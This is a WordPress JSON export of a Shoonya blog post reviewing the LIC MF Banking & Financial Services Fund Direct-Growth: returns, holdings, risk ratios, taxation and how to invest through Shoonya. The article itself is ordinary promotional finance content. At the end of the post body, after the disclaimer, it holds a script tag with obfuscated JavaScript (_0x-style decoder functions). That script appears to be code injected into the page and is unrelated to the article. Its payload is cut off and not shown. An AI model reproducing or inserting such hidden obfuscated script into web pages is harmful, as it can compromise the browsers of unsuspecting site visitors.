{"id":12162,"date":"2025-04-15T13:10:56","date_gmt":"2025-04-15T13:10:56","guid":{"rendered":"https:\/\/shoonya.com\/blog\/?p=12162"},"modified":"2025-05-22T09:37:26","modified_gmt":"2025-05-22T09:37:26","slug":"lic-mf-banking-financial-services-fund-direct-growth","status":"publish","type":"post","link":"https:\/\/shoonya.com\/blog\/lic-mf-banking-financial-services-fund-direct-growth\/","title":{"rendered":"LIC MF Banking &amp; Financial Services Fund Direct-Growth: Key Insights, Returns, Risks"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_87 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\"><p class=\"ez-toc-title\" style=\"cursor:inherit\"><\/p>\n<\/div><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/shoonya.com\/blog\/lic-mf-banking-financial-services-fund-direct-growth\/#LIC_MF_Banking_Financial_Services_Fund_Direct-Growth_Fund_Management_and_Objectives\" >LIC MF Banking &amp; Financial Services Fund Direct-Growth Fund Management and Objectives<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/shoonya.com\/blog\/lic-mf-banking-financial-services-fund-direct-growth\/#How_Does_the_LIC_MF_Banking_Financial_Services_Fund_Work\" >How Does the LIC MF Banking &amp; Financial Services Fund Work?<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/shoonya.com\/blog\/lic-mf-banking-financial-services-fund-direct-growth\/#Performance_and_Returns_As_of_11_April_2025\" >Performance and Returns (As of 11 April 2025)&nbsp;<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/shoonya.com\/blog\/lic-mf-banking-financial-services-fund-direct-growth\/#Investment_Allocation_As_of_31_Mar_2025\" >Investment Allocation (As of 31 Mar 2025)<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/shoonya.com\/blog\/lic-mf-banking-financial-services-fund-direct-growth\/#Key_Metrics\" >Key Metrics&nbsp;<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/shoonya.com\/blog\/lic-mf-banking-financial-services-fund-direct-growth\/#Risk_and_Performance_of_the_LIC_MF_Banking_Financial_Services_Fund\" >Risk and Performance of the LIC MF Banking &amp; Financial Services Fund&nbsp;<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/shoonya.com\/blog\/lic-mf-banking-financial-services-fund-direct-growth\/#_Taxation_for_LIC_MF_Banking_Financial_Services_Fund\" >&nbsp;Taxation for LIC MF Banking &amp; Financial Services Fund&nbsp;<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/shoonya.com\/blog\/lic-mf-banking-financial-services-fund-direct-growth\/#How_to_Invest_in_LIC_MF_Banking_Financial_Services_Fund_Direct\" >How to Invest in LIC MF Banking &amp; Financial Services Fund Direct?<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"https:\/\/shoonya.com\/blog\/lic-mf-banking-financial-services-fund-direct-growth\/#Investing_in_Lump_Sum_Mutual_Funds_through_the_Shoonya_Web_Platform\" >Investing in Lump Sum Mutual Funds through the Shoonya Web Platform<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"https:\/\/shoonya.com\/blog\/lic-mf-banking-financial-services-fund-direct-growth\/#Setting_Up_an_SIP_for_Mutual_Funds\" >Setting Up an SIP for Mutual Funds<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-11\" href=\"https:\/\/shoonya.com\/blog\/lic-mf-banking-financial-services-fund-direct-growth\/#Why_Invest_in_the_LIC_MF_Banking_Financial_Services_Fund\" >Why Invest in the LIC MF Banking &amp; Financial Services Fund?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-12\" href=\"https:\/\/shoonya.com\/blog\/lic-mf-banking-financial-services-fund-direct-growth\/#Suitability_of_this_Fund_Who_Should_Invest\" >Suitability of this Fund| Who Should Invest?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-13\" href=\"https:\/\/shoonya.com\/blog\/lic-mf-banking-financial-services-fund-direct-growth\/#Conclusion\" >Conclusion<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-14\" href=\"https:\/\/shoonya.com\/blog\/lic-mf-banking-financial-services-fund-direct-growth\/#LIC_MF_Banking_Financial_Services_Fund_Direct_Plan-Growth_FAQs\" >LIC MF Banking &amp; Financial Services Fund Direct Plan-Growth| FAQs<\/a><\/li><\/ul><\/nav><\/div>\n<div class=\"yoast-breadcrumbs\"><span><span><a href=\"https:\/\/shoonya.com\/blog\/\">Home<\/a><\/span> \u00bb <span><a href=\"https:\/\/shoonya.com\/blog\/investing\/\">Investing<\/a><\/span> \u00bb <span><a href=\"https:\/\/shoonya.com\/blog\/investing\/mutual-funds\/\">Mutual Funds<\/a><\/span> \u00bb <span class=\"breadcrumb_last\" aria-current=\"page\"><strong>LIC MF Banking &amp; Financial Services Fund Direct-Growth: Key Insights, Returns, Risks<\/strong><\/span><\/span><\/div>\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Banking and Financial Services sector in India is one of the most promising sectors, and now with the inclusion of technology in it, this sector and the fintech industry have been touching new heights every day. There has been growth in the deposits, while the non-performing assets have reduced significantly over the years in the banking industry. While in the financial services industry, with the rise in financial literacy in India, people are now more aware of investments and other financial products, which has increased the demand for the same.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">In this article, we will explain about the <strong>LIC MF Banking &amp; Financial Services fund Direct \u2013 Growth<\/strong>, which has been built to use the banking and financial services stocks. The article will revolve around the intricate details of the fund, including its performance, risk factors, and lot more.&nbsp;&nbsp;<\/p>\n\n\n\n\n\n<h2 class=\"wp-block-heading\" id=\"0-lic-mf-banking-amp-financial-services-fund-direct-growth-fund-management-and-objectives\"><span class=\"ez-toc-section\" id=\"LIC_MF_Banking_Financial_Services_Fund_Direct-Growth_Fund_Management_and_Objectives\"><\/span><strong>LIC MF Banking &amp; Financial Services <\/strong>Fund Direct-Growth Fund Management and Objectives<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>LIC MF Banking &amp; Financial Services Fund <\/strong>is a mutual fund that invests in the equity and equity related instruments of companies which are engaged in the banking services or financial services. This scheme\u2019s main objective is to accumulate wealth over time using capital appreciation method. This is a sectoral fund which means it particular invests in the stocks of companies belonging to the banking and financial services sector.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>LIC MF Banking &amp; Financial Services Fund Direct Plan-Growth <\/strong>is managed by \u2013&nbsp;<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Jaiprakash Toshniwal: <\/strong>He has been managing the fund since 6 September 2021. He is a CFA from CFA Institute, USA, MS finance, and a B.com Graduate. Before being associated with LIC Mutual Fund, he was working with the India First Life Insurance Taurus Mutual Fund. Apart from this fund, he manages three other funds in the AMC as well.&nbsp;<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong><em><a href=\"https:\/\/shoonya.com\/open-an-account\/?utm_source=blog&amp;utm_medium=organic&amp;utm_campaign=cta\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Excited about investing in the LIC MF Banking &amp; Financial Services Fund? Open a free Demat account today!<\/mark><\/a><\/em><\/strong><\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"1-how-does-the-lic-mf-banking-amp-financial-services-fund-work-\"><span class=\"ez-toc-section\" id=\"How_Does_the_LIC_MF_Banking_Financial_Services_Fund_Work\"><\/span><strong>How Does the LIC MF Banking &amp; Financial Services Fund Work?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">For the <strong>LIC MF Banking &amp; Financial Services Fund Direct<\/strong>, like any<strong> <\/strong>other<strong> <\/strong>sectoral<strong> <\/strong>fund, the fund manager picks the top companies from the banking and financial sector. He includes stocks across market capitalization however mostly focuses on the blue chips, and giant companies. That said, a significant ratio of the AUM is invested into midcap and small cap as well.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The fund generates return from the growth of the underlying stocks, and their performance. If the underlying stocks perform well, the returns increases and vice versa.&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"2-performance-and-returns-as-of-11-april-2025-\"><span class=\"ez-toc-section\" id=\"Performance_and_Returns_As_of_11_April_2025\"><\/span>Performance and Returns (As of 11 April 2025)&nbsp;<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>LIC MF Banking &amp; Financial Services Fund Direct-Growth <\/strong>has been offering the following returns &#8211;&nbsp;<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><tbody><tr><td><strong>Time Frame<\/strong><\/td><td><strong>LIC MF Banking &amp; Financial Services Fund Direct-Growth (%)<\/strong><\/td><td><strong>Category Average&nbsp;<\/strong><\/td><\/tr><tr><td>Since Inception&nbsp;<\/td><td>7.45<\/td><td>&#8211;<\/td><\/tr><tr><td>6 Month<\/td><td>-4.15<\/td><td>-1.69<\/td><\/tr><tr><td>3 Month<\/td><td>2<\/td><td>3.77<\/td><\/tr><tr><td>1 Month<\/td><td>5.62<\/td><td>6.10<\/td><\/tr><tr><td>1 Day<\/td><td>1.75<\/td><td>1.63<\/td><\/tr><tr><td>YTD<\/td><td>-2.03<\/td><td>-0.09<\/td><\/tr><tr><td>1 Year<\/td><td>0.46<\/td><td>7.35<\/td><\/tr><tr><td>3 Year<\/td><td>10.70<\/td><td>14.60<\/td><\/tr><tr><td>5 Year<\/td><td>18.76<\/td><td>23.26<\/td><\/tr><tr><td>7 Year<\/td><td>8.89<\/td><td>12.57<\/td><\/tr><tr><td>10 Year<\/td><td>7.35<\/td><td>12.48<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">If you look at the above table, then the fund has performed well during 3-5 years span however, in the long run that is 7-10 years, the performance had dropped. Another fact is that the fund has been consistent in offering lower than category average returns which suggest that the fund\u2019s performance can be better.&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"3-investment-allocation-as-of-31-mar-2025\"><span class=\"ez-toc-section\" id=\"Investment_Allocation_As_of_31_Mar_2025\"><\/span>Investment Allocation (As of 31 Mar 2025)<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">The <strong>LIC MF Banking &amp; Financial Services Fund Growth<\/strong> has 94.52% of its assets invested in equity and equity-related instruments, and 5.48% in cash and cash equivalents.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Market cap-wise asset allocation&nbsp;<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Giant cap \u2013 54.65%<\/li>\n\n\n\n<li>Large Cap \u2013 11.73%<\/li>\n\n\n\n<li>Mid-cap \u2013 21.31%<\/li>\n\n\n\n<li>Small-cap \u2013 12.31%<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">As of 31 March 2025, the fund had an average market cap of \u20b9163852 crore, and it spans<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">across 30 stocks, where the top 10 stocks make up 67.13% of its assets.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Sectoral Allocation&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The fund being a sectoral fund predominantly in the banking and financial services sector, and apart from that, it has 1.51% allocation in the consumer discretionary sector, and 0.84% in the industrial sector as on 31 March 2025.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Stock-wise Allocation&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The top five stocks of the <strong>LIC MF Banking &amp; Financial Services Fund<\/strong> include <strong>\u2013&nbsp;<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><tbody><tr><td><strong>Stocks<\/strong><\/td><td><strong>Assets (%)<\/strong><\/td><\/tr><tr><td>HDFC Bank<\/td><td>20.55<\/td><\/tr><tr><td>ICICI Bank<\/td><td>12.85<\/td><\/tr><tr><td>Axis Bank<\/td><td>6.68<\/td><\/tr><tr><td>SBI<\/td><td>5.91<\/td><\/tr><tr><td>Kotak Bank<\/td><td>5.67<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"4-key-metrics-\"><span class=\"ez-toc-section\" id=\"Key_Metrics\"><\/span><strong>Key Metrics&nbsp;<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">As of 31 March 2025, the fund had an expense ratio of 1.05%, which is a bit higher than the category average of 0.88%.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><tbody><tr><td><strong>Fund Details<\/strong><\/td><td><strong>Information<\/strong><\/td><\/tr><tr><td><strong>AUM (Assets Under Management)<\/strong><\/td><td>\u20b9254 Crore as of 31 March 2025<\/td><\/tr><tr><td><strong>Category<\/strong><\/td><td>Equity Fund, open-ended<\/td><\/tr><tr><td><strong>Fund Manager<\/strong><\/td><td>Jaiprakash Toshniwal<\/td><\/tr><tr><td><strong>Exit Load<\/strong><\/td><td>1% for Redemption of units over 12% of the investment within 90 days<\/td><\/tr><tr><td><strong>Entry Load<\/strong><\/td><td>Nil<\/td><\/tr><tr><td><strong>Minimum Investment<\/strong><\/td><td>\u20b95000 (Lump sum)\u20b9200 (SIP)<\/td><\/tr><tr><td><strong>Benchmark<\/strong><\/td><td>NIFTY Financial Services TRI<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">The <strong>LIC MF Banking &amp; Financial Services Fund NAV <\/strong>as of<strong> <\/strong>11 April 2025 stood at \u20b921.0089.&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"5-risk-and-performance-of-the-lic-mf-banking-amp-financial-services-fund-\"><span class=\"ez-toc-section\" id=\"Risk_and_Performance_of_the_LIC_MF_Banking_Financial_Services_Fund\"><\/span>Risk and Performance of the LIC MF Banking &amp; Financial Services Fund&nbsp;<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">This fund is classified as a \u2018Very High Risk\u2019 fund, which indicates that the fund has the potential for higher returns, but there will be high volatility as well. Here are the risk ratios you need to consider for this fund \u2013&nbsp;<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Standard Deviation (Std Dev% %): <\/strong>It shows how much the returns vary from the average returns generated by the funds themselves. The higher this number, the more it fluctuates.<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">The Standard deviation of the fund is around 15.38% higher than the category average of 14.58%, depicting a bit more fluctuation.&nbsp;<\/p>\n\n\n\n<ol start=\"2\" class=\"wp-block-list\">\n<li><strong>Beta: <\/strong>This ratio indicates the volatility of the fund\u2019s performance, compared to similar funds in the market. The lower the Beta, the more predictable the returns are, and vice versa. It helps in comparing funds.&nbsp;<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">The <strong>LIC MF Banking &amp; Financial Services fund<\/strong> has a beta of 0.98% while the category average is 0.92%, indicating higher volatility.&nbsp;<\/p>\n\n\n\n<ol start=\"3\" class=\"wp-block-list\">\n<li><strong>Sharpe Ratio: <\/strong>This ratio indicates the return you get for the risk you&#8217;re taking. A higher number means better risk-adjusted returns.<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">Currently, this fund has a Sharpe ratio of 0.43% while that of the category is 0.70%, which indicates that the fund has been offering a lower risk-adjusted return.&nbsp;<\/p>\n\n\n\n<ol start=\"4\" class=\"wp-block-list\">\n<li><strong>Sortino Ratio: <\/strong>It is similar to Sharpe but only looks at downside risk (the risk of losing money).<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">This fund offers a bit higher downside risk compared to its peers. The average for the category stands at 1.61%, while this fund has 1.21%, indicating lower downside risk-adjusted profits.&nbsp;&nbsp;<\/p>\n\n\n\n<ol start=\"5\" class=\"wp-block-list\">\n<li><strong>Alpha: <\/strong>It measures<strong> <\/strong>the extra return the fund gives above the market&#8217;s average return.<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">The fund\u2019s return are significantly lower than its peers which is depicted by the negative alpha of -0.88% while the category average stands at 3.15%.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"6-taxation-for-lic-mf-banking-amp-financial-services-fund-\"><span class=\"ez-toc-section\" id=\"_Taxation_for_LIC_MF_Banking_Financial_Services_Fund\"><\/span>&nbsp;Taxation for LIC MF Banking &amp; Financial Services Fund&nbsp;<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">If you&#8217;re investing in the <strong>LIC MF Banking &amp; Financial Services Fund<\/strong>, here&#8217;s how your returns will be taxed:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Short-Term Gains<\/strong> &#8211; If you sell the fund units within 1 year of the date of investment, a 20% tax will be levied on the entire return generated during the period.&nbsp;<\/li>\n\n\n\n<li><strong>Long-Term Gains<\/strong> &#8211; If you sell the fund units after one year, any profit generated over and above \u20b9 1.25 lakh will be taxable at a 12.5% rate. The same rate will be applicable for any investment tenure above 1 year.&nbsp;<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><strong><em>So, the longer you hold your investments, the better returns you can expect and the less effect of taxes!<\/em><\/strong><\/p>\n\n\n\n<ol start=\"3\" class=\"wp-block-list\">\n<li><strong>Taxes on Dividends<\/strong> \u2013 Dividends earned, if any, will be taxable in the hands of investors as per their tax slabs. If the dividend income surpasses Rs. 10000 in a financial year, then the fund house will deduct 10% TDS before disbursing the dividend into the account of the investor.&nbsp;<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Minimum Investment and Lock-in Period<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The minimum investment amount in the <strong>LIC MF Banking &amp; Financial Services Fund<\/strong><strong><em> <\/em><\/strong>is \u20b95000 for lump sum and SIP, which is \u20b9200. There is no lock-in period for the <strong>LIC MF Banking &amp; Financial Services Fund Direct-Growth<\/strong>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"7-how-to-invest-in-lic-mf-banking-amp-financial-services-fund-direct\"><span class=\"ez-toc-section\" id=\"How_to_Invest_in_LIC_MF_Banking_Financial_Services_Fund_Direct\"><\/span>How to Invest in LIC MF Banking &amp; Financial Services Fund Direct?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">You can invest in the <strong>LIC MF Banking &amp; Financial Services Fund &#8211; Direct Growth<\/strong> plan with Shoonya.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Shoonya offers a free Demat account,&nbsp; Zero brokerage trading, advanced trading tools, 100+ technical indicators, and much more!<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"8-investing-in-lump-sum-mutual-funds-through-the-shoonya-web-platform\"><span class=\"ez-toc-section\" id=\"Investing_in_Lump_Sum_Mutual_Funds_through_the_Shoonya_Web_Platform\"><\/span>Investing in Lump Sum Mutual Funds through the Shoonya Web Platform<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Here\u2019s a quick guide on how to invest in lump sum mutual funds through the Shoonya web platform:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>First, you must log in to your Shoonya account at <a href=\"https:\/\/trade.shoonya.com\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">trade.shoonya.com<\/mark><\/a>. From the &#8220;Orders&#8221; section, click on &#8220;MF order.&#8221;<\/li>\n\n\n\n<li>Search for the fund you wish to invest in; in this case, the LIC MF Banking &amp; Financial Services Fund &#8211; Direct Growth plan.<\/li>\n\n\n\n<li>Choose &#8220;Fresh&#8221; for a new investment and enter the amount you want to invest.<\/li>\n\n\n\n<li>You can complete your purchase by clicking the &#8220;Purchase&#8221; button.<\/li>\n\n\n\n<li>You will receive a payment link on your registered email. Use the link to make the payment.<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">After payment, your mutual fund units will be allotted to your Demat account within T+2 days.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Note:<\/strong> You can only make the payment using the bank account registered with your Demat account.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"9-setting-up-an-sip-for-mutual-funds\"><span class=\"ez-toc-section\" id=\"Setting_Up_an_SIP_for_Mutual_Funds\"><\/span>Setting Up an SIP for Mutual Funds<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">If you prefer a <strong>Systematic Investment Plan<\/strong> (SIP) for LIC MF Banking &amp; Financial Services Fund Direct Plan-Growth plan, you must follow these steps:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>First, you need to log in to your Shoonya account at <a href=\"https:\/\/trade.shoonya.com\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">trade.shoonya.com<\/mark><\/a>. Go to &#8220;Orders&#8221; and click on &#8220;XSIP.&#8221;<\/li>\n\n\n\n<li>Find the mutual fund for which you want to set up an SIP. In this case, the LIC MF Banking &amp; Financial Services Fund &#8211; Direct Growth plan.<\/li>\n\n\n\n<li>If this is your first SIP with Shoonya, you need to create a Mandate ID.&nbsp;<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">For that, you must enter the mandate amount and the validity date (until you want to keep your SIP active).<\/p>\n\n\n\n<ol start=\"4\" class=\"wp-block-list\">\n<li>You must submit the details, and you\u2019ll receive a Mandate authentication link via email. Approval generally takes 24 hours.<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">Once your Mandate is approved, you can follow these steps to set up your SIP:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Go to &#8220;XSIP,&#8221; enter the SIP amount, and select &#8220;Fresh&#8221; as the transaction type.<\/li>\n\n\n\n<li>Choose the date when the SIP will be debited directly from your registered bank.<\/li>\n\n\n\n<li>The approved Mandate ID will auto-reflect.<\/li>\n\n\n\n<li>Choose &#8220;Monthly&#8221; for monthly debits and specify the number of installments (e.g., 24 installments for a 2-year SIP).<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">If you do not want to forget your SIPs and invest systematically, the SIP method can be most suitable for you.&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"10-why-invest-in-the-lic-mf-banking-amp-financial-services-fund\"><span class=\"ez-toc-section\" id=\"Why_Invest_in_the_LIC_MF_Banking_Financial_Services_Fund\"><\/span>Why Invest in the LIC MF Banking &amp; Financial Services Fund?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">The reasons for investing<strong> <\/strong>in the <strong>LIC MF Banking &amp; Financial Services Fund Direct-Growth<\/strong> can be the fund\u2019s \u2013&nbsp;<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Better returns within a three to five-year span<\/li>\n\n\n\n<li>The banking and financial sector is the most promising<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"11-suitability-of-this-fund-who-should-invest\"><span class=\"ez-toc-section\" id=\"Suitability_of_this_Fund_Who_Should_Invest\"><\/span>Suitability of this Fund| Who Should Invest?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">The <strong>LIC MF Banking &amp; Financial Services Fund Direct <\/strong>is suitable for investors who:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Are looking for higher returns and ready to take higher risk&nbsp;<\/li>\n\n\n\n<li>Looking for long-term capital appreciation&nbsp;<\/li>\n\n\n\n<li>Can stay invested for at least five years&nbsp;<\/li>\n\n\n\n<li>Can tolerate market ups and downs and business cycles&nbsp;<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"12-conclusion-\"><span class=\"ez-toc-section\" id=\"Conclusion\"><\/span><strong>Conclusion<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>LIC MF Banking &amp; Financial Services Fund <\/strong>has been exploring the most dynamic sector that is banking and financial services, while the sector is quite promising and the prospects of the fund looks impressive but currently if you are investing in this fund, you also need to consider that the fund has higher risk, and lower than category average return.&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"13-lic-mf-banking-amp-financial-services-fund-direct-plan-growth-faqs\"><span class=\"ez-toc-section\" id=\"LIC_MF_Banking_Financial_Services_Fund_Direct_Plan-Growth_FAQs\"><\/span>LIC MF Banking &amp; Financial Services Fund Direct Plan-Growth| FAQs<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<div class=\"schema-faq wp-block-yoast-faq-block\"><div class=\"schema-faq-section\" id=\"faq-question-1744721954318\"><strong class=\"schema-faq-question\">1. <strong>What is the LIC MF Banking &amp; Financial Services Fund &#8211; Direct Plan?<\/strong><\/strong> <p class=\"schema-faq-answer\">LIC MF Banking &amp; Financial Services Fund &#8211; Direct Plan is an open-ended equity fund, that invests in equities and equity-related instruments of companies which are engaged in the banking and financial services.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1744721955029\"><strong class=\"schema-faq-question\"><strong>2. What is the expense ratio of the LIC MF Banking &amp; Financial Services Fund &#8211; Direct Plan?<\/strong><\/strong> <p class=\"schema-faq-answer\">The expense ratio of the LIC MF Banking &amp; Financial Services Fund &#8211; Direct Plan is 1.05% as of 31 March 2025.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1744721955797\"><strong class=\"schema-faq-question\"><strong>3. What is the current NAV of the LIC MF Banking &amp; Financial Services Fund &#8211; Direct Plan?<\/strong><\/strong> <p class=\"schema-faq-answer\">The current NAV (Net Asset Value) of the LIC MF Banking &amp; Financial Services Fund &#8211; Direct Plan as of<strong> <\/strong>11 April 2025 stood at \u20b921.0089.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1744721985645\"><strong class=\"schema-faq-question\"><strong>4. What is the AUM of the LIC MF Banking &amp; Financial Services Fund &#8211; Direct Plan?<\/strong><\/strong> <p class=\"schema-faq-answer\">The total assets under management (AUM) of LIC MF Banking &amp; Financial Services Fund &#8211; Direct Plan is \u20b9254 crore as of 31 March 2025.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1744722005760\"><strong class=\"schema-faq-question\"><strong>5. What is the Riskometer level of the LIC MF Banking &amp; Financial Services Fund &#8211; Direct Plan?<\/strong><\/strong> <p class=\"schema-faq-answer\">The Riskometer level of the LIC MF Banking &amp; Financial Services Fund &#8211; Direct Plan is marked as &#8220;Very High Risk&#8221;.<\/p> <\/div> <\/div>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Source: <a href=\"https:\/\/www.valueresearchonline.com\/login\/?target=%2Ffunds%2F29707%2Flic-mf-banking-financial-services-fund-direct-plan\" target=\"_blank\" rel=\"noreferrer noopener nofollow\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">ValueResearch<\/mark><\/a><\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">______________________________________________________________________________________<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/shoonya.com\/\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Disclaimer<\/mark><\/a>: Investments in the securities market are subject to market risks; read all the related documents carefully before investing.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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There has been growth in the deposits, while the non-performing assets have reduced significantly over the years in the &hellip; <a href=\"https:\/\/shoonya.com\/blog\/lic-mf-banking-financial-services-fund-direct-growth\/\" class=\"more-link\">Continue reading<span 